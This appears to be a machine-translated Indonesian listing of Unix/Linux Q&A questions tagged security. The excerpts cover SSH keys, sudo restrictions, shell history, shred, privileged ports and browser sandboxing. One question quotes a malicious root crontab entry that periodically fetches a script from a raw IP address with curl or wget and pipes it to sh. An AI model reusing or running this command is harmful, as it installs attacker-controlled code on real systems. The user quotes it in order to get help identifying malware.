Pertanyaan yang diberi tag «security»

Saya seharusnya mengakses server untuk menghubungkan server pementasan dan server langsung ke loop penerapan kami. Admin di sisi mereka mengatur dua instance dan kemudian membuat pengguna di server untuk kita masuk ke SSH sebagai. Sebanyak ini aku terbiasa. Dalam pikiran saya sekarang apa yang akan terjadi adalah saya akan mengirim …

73 ssh  security  key-authentication  administration 

Menurut artikel rapid7 ada beberapa versi Samba yang rentan memungkinkan eksekusi kode jauh pada sistem Linux: Sementara ransomworm WannaCry berdampak pada sistem Windows dan mudah diidentifikasi, dengan langkah-langkah perbaikan yang jelas, kerentanan Samba akan berdampak pada sistem Linux dan Unix dan dapat menghadirkan hambatan teknis yang signifikan untuk mendapatkan atau …

73 linux  security  linux-kernel  samba 

Mesin saya adalah server jadi saya ingin mengabaikan koneksi yang dibuat ke server saya (misalnya ketika seseorang mengunjungi situs web saya). Saya ingin melihat hanya koneksi / permintaan yang dibuat oleh server saya ke tempat lain. Bagaimana saya hanya melihat koneksi keluar itu? EDIT: Saya baru mengenal hal-hal semacam ini. …

71 command-line  networking  shell-script  security 

Saya perhatikan beberapa waktu lalu bahwa nama pengguna dan kata sandi yang diberikan curlsebagai argumen baris perintah tidak muncul dalam psoutput (meskipun tentu saja mereka mungkin muncul dalam riwayat bash Anda). Mereka juga tidak muncul di /proc/PID/cmdline. (Namun, panjang argumen gabungan nama pengguna / kata sandi dapat diturunkan.) Demonstrasi di …

68 security  password  curl  ps  arguments 

Kami mengalami sedikit masalah di server. Kami ingin beberapa pengguna dapat melakukan mis sudodan menjadi root, tetapi dengan batasan bahwa pengguna tidak dapat mengubah kata sandi root. Artinya, jaminan bahwa kami masih bisa masuk ke server itu dan menjadi root tidak peduli apa yang akan dilakukan pengguna lain. Apakah itu …

66 ubuntu  security  sudo 

Apakah ada cara untuk menjaga agar perintah tidak ditambahkan ke riwayat Anda? Saya memiliki perintah yang ingin saya hindari dari file histori saya, dan saya benar-benar tidak peduli untuk memilikinya di sana ketika saya mencari histori yang tersimpan dalam memori, meskipun itu kurang menjadi perhatian. Apakah ada cara untuk mencegah …

65 bash  security  zsh  command-history 

Saat ini saya bekerja jarak jauh untuk sejumlah organisasi yang membutuhkan saya untuk mengakses server mereka secara teratur untuk pemeliharaan dan peningkatan. Apakah saya aman untuk menambahkan kunci SSH publik RSA saya ke .ssh/authorized_keysfile untuk memungkinkan saya untuk login lebih cepat / tanpa harus mencari kata sandi? Saya beroperasi dengan …

60 ssh  security  key-authentication 

Saya mencoba memindahkan beberapa folder (seperti /vardan /home) ke partisi terpisah setelah membaca panduan ini: 3.2.1 Pilih skema partisi cerdas Saya berhasil memindahkan satu folder dengan mengikuti panduan ini . Namun, sepertinya itu tidak berfungsi untuk banyak folder, dan semua folder saya dibuang ke partisi tanpa folder yang tepat. Saya …

59 debian  security  partition  fstab 

Saya ingin menambahkan sesuatu ke file root crontab saya di Raspberry Pi saya, dan menemukan entri yang tampaknya mencurigakan bagi saya, mencari bagian-bagiannya di Google tidak menghasilkan apa-apa. Entri crontab: */15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -m180 -fsSL http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh Isinya http://103.219.112.66:8000/i.shadalah: export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin mkdir …

59 security  cron  malware 

Saya menjalankan Chromium seperti ini: chromium --no-sandbox Saya melakukan ini karena saya menjalankan Debian Squeeze pada OpenVZ VM Container dan itu satu-satunya cara saya membuatnya bekerja. Meskipun saya terus membaca ini mengerikan . Tapi saya ingin tahu persis mengapa. Bisakah seseorang tolong jelaskan kepada saya? Apakah seseorang perlu meretas komputer …

54 security  chrome  browser  sandbox 

Ini lebih merupakan keingintahuan kosong daripada hal lainnya. Seorang teman saya bertanya kepada saya 'kisaran port mana yang hanya bisa digunakan oleh root di Linux?' Saya katakan kepadanya 0-1024 dibatasi. Lalu dia bertanya mengapa itu begitu dan ... Aku bingung. Tidak tahu sama sekali. Apakah ada alasan mengapa port ini …

53 networking  security  root  tcp 

File .muttrc saya terlihat seperti ini atau lihat di bawah sekilas. Saya ragu dengan kata sandi. Bagaimana saya harus menyimpan kata sandi saya untuk menggunakannya mutt? set imap_user = "username@gmail.com" set imap_pass = "password" set smtp_url = "smtp://username@smtp.gmail.com:587/" set smtp_pass = "password" set from = "username@gmail.com" set realname = "Your …

52 security  mutt 

Saya telah membuat dan mengunduh .pemkunci pribadi dari AWS. Namun, untuk menggunakan Putty agar dapat terhubung ke mesin virtual, saya harus memiliki kunci itu dalam .ppkformat. Proses konversi dirinci dalam sekitar 20 baris di sini: http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/get-set-up-up-for-amazon-ec2.html#prepare-for-putty Saya menggunakan Linux Mint (distro Ubuntu) dan saya tahu saya bisa menggunakan puttygen di …

49 ssh  linux-mint  security  putty  amazon-ec2 

Saya memiliki pohon direktori yang ingin saya hancurkan dengan utilitas 'shred' Linux. Sayangnya, -Rshredding tidak memiliki opsi untuk shredding rekursif. Bagaimana saya bisa merusak seluruh pohon direktori secara rekursif?

48 security  rm  data-destruction 

Saya memiliki proses yang mendengarkan 2 port: 45136 / tcp dan 37208 / udp (sebenarnya saya menganggap itu adalah proses yang sama). Tetapi netstat tidak mengembalikan pid: netstat -antlp | grep 45136 tcp 0 0 0.0.0.0:45136 0.0.0.0:* LISTEN - Hasil yang sama dengan "grep 37208". Saya mencoba juga: lsof -i …

47 networking  security  process